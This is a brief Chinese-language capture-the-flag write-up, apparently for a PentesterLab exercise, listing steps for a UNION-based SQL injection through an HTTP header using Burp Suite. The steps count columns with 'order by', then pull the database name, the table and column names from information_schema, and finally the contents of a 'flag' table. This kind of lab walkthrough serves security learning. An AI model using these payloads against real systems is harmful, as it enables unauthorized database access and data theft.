先简单写一下这题的解题步骤,原理在后面在看看提不提吧
1.在此页面用bp抓包
2.在此修改数据包
3.查字段数,4回显正常,5错误 说明是4个字段
order by 4
order by 5
4.看回显 union select 1,2,3,4
说明回显位在2,3,4,
5.查看库名 union select 1,2,3,database()
查看表名 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=‘pentesterlab’
查看字段名 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘flag’
查看字段内容 union select 1,flag,3,4 from flag
关于http头部注入归纳
有一张图很想放进来